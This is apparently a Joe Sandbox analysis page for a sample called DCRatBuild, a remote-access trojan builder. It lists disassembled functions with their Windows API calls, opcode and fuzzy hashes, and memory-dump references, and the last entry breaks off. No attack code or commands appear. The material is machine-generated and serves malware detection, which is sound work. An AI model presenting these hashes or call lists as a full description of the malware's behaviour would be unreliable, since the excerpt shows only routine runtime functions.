Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: bd8ec688106cc5188839124bd0a069fbff5db453cd290425fc4ca81d77df0d62
Instruction ID: 92f41b8eb0c42ab3150cf43ac24927b6c4c104bf36d6dffec1455aad79afd220
Opcode Fuzzy Hash: bd8ec688106cc5188839124bd0a069fbff5db453cd290425fc4ca81d77df0d62
Instruction Fuzzy Hash: E6E092325001246BCF50AB69DC05BD97B58AB193E6F0442B2FD54E3294D774DE44CAE9

Function 004ADEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 004ADEEC

Part of subcall function 00494092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 004940A5

SetDlgItemTextW.USER32(00000065,?), ref: 004ADF03

Part of subcall function 004AB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 004AB579
Part of subcall function 004AB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 004AB58A
Part of subcall function 004AB568: IsDialogMessageW.USER32(00010422,?), ref: 004AB59E
Part of subcall function 004AB568: TranslateMessage.USER32(?), ref: 004AB5AC
Part of subcall function 004AB568: DispatchMessageW.USER32(?), ref: 004AB5B6

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekTextTranslate__vswprintf_c_l_swprintf
String ID:
API String ID: 2718869927-0
Opcode ID: 410811a6446bb9162142bdf25498c1426c51be711ef6ea674cb5b9cc92c1cb5d
Instruction ID: 3a86a99ce39ccded516fc5eddc88705397ddf5bf9efec9cff10bcbec7ecb2f42
Opcode Fuzzy Hash: 410811a6446bb9162142bdf25498c1426c51be711ef6ea674cb5b9cc92c1cb5d
Instruction Fuzzy Hash: 01E09B7140024836DF01AB62DC0AFAE3B6C5B15789F44046BB204D60A3EA7DDA108669

Function 004A081B Relevance: 3.0, APIs: 2, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 004A0836
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0049F2D8,Crypt32.dll,00000000,0049F35C,?,?,0049F33E,?,?,?), ref: 004A0858

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 78a8e66b10ed74809f63858659f6c81da2c399d7ab82d3b1482a16c83d955b8d
Instruction ID: 980843a91721c037fb59c0f2af8d88ae1236e2a97f4c37d5f84624d76595fd34
Opcode Fuzzy Hash: 78a8e66b10ed74809f63858659f6c81da2c399d7ab82d3b1482a16c83d955b8d
Instruction Fuzzy Hash: C0E012764001186ADB11AB969C05FDA7BACEF0D392F04407A7645D2104D678DA848AB8

Function 004AA3B9 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 004AA3DA
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 004AA3E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 30a80a0e9f626ac4cca01e74eee7bc4404326b1541f45873b3644a386dcf5d58
Instruction ID: f98f26f74c1d697cfa5532629245b57f3e6aff5050d6640115428a1d29e8298b
Opcode Fuzzy Hash: 30a80a0e9f626ac4cca01e74eee7bc4404326b1541f45873b3644a386dcf5d58
Instruction Fuzzy Hash: 69E0ED71501218EBCB60DF56C545B99BBF8EB15364F10C05FA85697201E378AE04DBA5

Function 004B2B8C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004B2BAA
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 004B2BB5

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: e8337b5ea596dace2d24cbbf68d4dcaef551ec861eedd2dc0108eb658cdc64e5
Instruction ID: d8e0adbb86829a34824567f9136ec0686e0ff4d88a29ad7e9f659909d76c0475
Opcode Fuzzy Hash: e8337b5ea596dace2d24cbbf68d4dcaef551ec861eedd2dc0108eb658cdc64e5
Instruction Fuzzy Hash: 85D0A73515C204284C142E732B0B5D52745DD427797B0029FE020955C1DEDCB241603D

Function 004912F1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00491306
ShowWindow.USER32(00000000), ref: 0049130D

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: d606821fcd5b24af777ef7acff3c5bbfe3b2795dd257ae0fcd2c18a191c789ff
Instruction ID: 38507aa4bce7759b209deb065d0b2e24d959bf4ce3325fbd2b9cff40bb41cacc
Opcode Fuzzy Hash: d606821fcd5b24af777ef7acff3c5bbfe3b2795dd257ae0fcd2c18a191c789ff
Instruction Fuzzy Hash: 1BC0123205C200BECB010FB4DD09C3BBBA8ABA5312F04C928B0A5C0060C238C920DB11

Function 00491A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00491A09

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e958ce177d2911b3f235ba2d37dc50091414d56885b1803506dbda40529ef060
Instruction ID: b470929f57b928bd9e7da2d64547c87eb2db81534653e5f29aeb857eaad70d1f
Opcode Fuzzy Hash: e958ce177d2911b3f235ba2d37dc50091414d56885b1803506dbda40529ef060
Instruction Fuzzy Hash: D4C1D770A002569FEF15CF24C484BAA7FA6EF55310F0801BFDC469B3A6DB38A944CB65

Function 00493BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00493BBF

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: bd559672166abb9393736e3ada456d1525cbc7eeee186b31a65d18e2dbcb2439
Instruction ID: cc1a16d98a56a6ef7464ac1c5c4a778c40a53508cb2cd53d92783100954775ed
Opcode Fuzzy Hash: bd559672166abb9393736e3ada456d1525cbc7eeee186b31a65d18e2dbcb2439
Instruction Fuzzy Hash: 5471D071500B449EDF31DF70C855AE7BBE9AB16306F00093FE6AB83241DA3A6A44CF15

Function 00498284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00498289

Part of subcall function 004913DC: __EH_prolog.LIBCMT ref: 004913E1

Part of subcall function 0049A56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 0049A598

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: ba768ced15235be8d1c7e8bd7a5405b3fed23275a913d353758d54bd85ffc0b9
Instruction ID: 6dd5f357108c098e7ab4228c5c63ceda8c98ab4d4cd37c087303e6c150459f4d
Opcode Fuzzy Hash: ba768ced15235be8d1c7e8bd7a5405b3fed23275a913d353758d54bd85ffc0b9
Instruction Fuzzy Hash: 9841E6719442189ADF30DB65CC55AEABBB8AF11308F0400FFE48A97193EB795EC4CB14

Function 004913E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004913E1

Part of subcall function 00495E37: __EH_prolog.LIBCMT ref: 00495E3C

Part of subcall function 0049CE40: __EH_prolog.LIBCMT ref: 0049CE45

Part of subcall function 0049B505: __EH_prolog.LIBCMT ref: 0049B50A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ef7cef380f4bf34a0ea106cd778a54d10855f478b94c8a9a168a979f66a34218
Instruction ID: e8831d87871a08b0adc8753cb9b4c4cf73e53b71ceb6354d5aa7b737a2772534
Opcode Fuzzy Hash: ef7cef380f4bf34a0ea106cd778a54d10855f478b94c8a9a168a979f66a34218
Instruction Fuzzy Hash: 2E416AB0905B419EE724CF7A8885AE6FAE5BB19314F50493FE5FE83282C7352654CB14

Function 004913DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004913E1

Part of subcall function 00495E37: __EH_prolog.LIBCMT ref: 00495E3C

Part of subcall function 0049CE40: __EH_prolog.LIBCMT ref: 0049CE45

Part of subcall function 0049B505: __EH_prolog.LIBCMT ref: 0049B50A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 6129e99c6343a4ebb274e8ad1a09ec571e850130d9aa3b0d4c48e208fa07ebc5
Instruction ID: 16a2109e2f6277054fafc9844dd6edd649cdf14bd141545886564d0b23ec426a
Opcode Fuzzy Hash: 6129e99c6343a4ebb274e8ad1a09ec571e850130d9aa3b0d4c48e208fa07ebc5
Instruction Fuzzy Hash: 2C4149B0905B409EE724DF7A8885AE6FAE5BB19314F50492F95FE83281C7352654CB14

Function 004AB093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AB098

Part of subcall function 004913DC: __EH_prolog.LIBCMT ref: 004913E1

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: acdc2b3676071164dc54ecf4aad90338087f97d46ae63a8a3bc8c485fc53d8bd
Instruction ID: c62bbc2498dd9790845972c32033405b4f19275ea5fb13f6815e50493d0427cb
Opcode Fuzzy Hash: acdc2b3676071164dc54ecf4aad90338087f97d46ae63a8a3bc8c485fc53d8bd
Instruction Fuzzy Hash: B3318D75C002499ACF15DF66C8519EEBBB4EF19308F1044AFE409B3242D739AE04CBA9

Function 004BAC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 004BACF8

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 8a7fc6a9b170641aa8426f9ba3d5defc4aaf3cdf649ed4ba705f86801ecd622b
Instruction ID: dae18cb7abdb5d72c8f933b91624229da300ba0e75ae0c30aa48f8e0f525c7b3
Opcode Fuzzy Hash: 8a7fc6a9b170641aa8426f9ba3d5defc4aaf3cdf649ed4ba705f86801ecd622b
Instruction Fuzzy Hash: 42113A376012256F9F219E29EC408DB77AAEB807247164132FD15EB344D738DC2197EA

Function 00499215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0049921A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 4e526a91627a11a3e304ad342b6c37bb35e68c9afa316a61457f3f2e495d912f
Instruction ID: c2318bac22234cc5f52b27edeb2cf5773133d40190723109511cf585b3a521a9
Opcode Fuzzy Hash: 4e526a91627a11a3e304ad342b6c37bb35e68c9afa316a61457f3f2e495d912f
Instruction Fuzzy Hash: 5B018633D00525ABCF11AB69CD819DEBF31AF89754B01457EE811B7252DA388D0086A8

Function 004BC479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 004BB136: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004B9813,00000001,00000364,?,004B3F73,00000050,?,004D1030,00000200), ref: 004BB177

_free.LIBCMT ref: 004BC4E5

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: 1c5f0503afabde8e0fb74a9ac9d2383cf7c7666df653f3ab636dde94ca448916
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: 9E01D672200305ABE3358E6998C59AAFBEDEB85370F25091EE59483281EA74A905C778

Function 004BB136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004B9813,00000001,00000364,?,004B3F73,00000050,?,004D1030,00000200), ref: 004BB177

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a7aa6061bb7f14d10c6c8b1e92e8441ab2a54e52afb30922893652cc167ebbb1
Instruction ID: 964203905c65d6e9ed0643f2d1cceb6a3fa6a09e27a83eee54c529853fdb6f80
Opcode Fuzzy Hash: a7aa6061bb7f14d10c6c8b1e92e8441ab2a54e52afb30922893652cc167ebbb1
Instruction Fuzzy Hash: 32F0B4325051256BEB615A2AAC15BEF7748EB417F0B188227B80896290CBA8DD0286FC

Function 004B3C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 004B3C3F

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: b6e658a19216e108c91db912889dced3581fd2f172c9ba61a17b590fd2d64355
Instruction ID: 75b6d8f5a83858b42404078940f5f4f529a95cf28b5399f0bacee89506cdedbc
Opcode Fuzzy Hash: b6e658a19216e108c91db912889dced3581fd2f172c9ba61a17b590fd2d64355
Instruction Fuzzy Hash: 8BF0A7332042169F8F114EEAEC009DB7BB9EF01B227104126FA05E7294DB35DA20C7A4

Function 004B8E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BCA2C,00000000,?,004B6CBE,?,00000008,?,004B91E0,?,?,?), ref: 004B8E38

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b30d46504ba7aba9a5f4587255d27d590505961ba39d264a2a94a9a9e168d197
Instruction ID: 1382f3df430cddb48555ee98ccc8b7c49d588f5849e73e338c56426de4ebfa65
Opcode Fuzzy Hash: b30d46504ba7aba9a5f4587255d27d590505961ba39d264a2a94a9a9e168d197
Instruction Fuzzy Hash: 68E0653120611557EBB12A6A9C15BDF764C9B417B4F15012FBC18D6291CF69CC01C1FD

Function 00495ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00495AC2

Part of subcall function 0049B505: __EH_prolog.LIBCMT ref: 0049B50A

Memory Dump Source

Source File: 00000001.00000002.1660450033.0000000000491000.00000020.00000001.01000000.00000005.sdmp, Offset: 00490000, based on PE: true

Associated: 00000001.00000002.1660435111.0000000000490000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660493605.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004CE000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004D5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660510083.00000000004F2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1660555654.00000000004F3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_490000_DCRatBuild.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 424402ce5bca5df051ba271f986fa65608aa8acb94015cde56257a71d97175f1
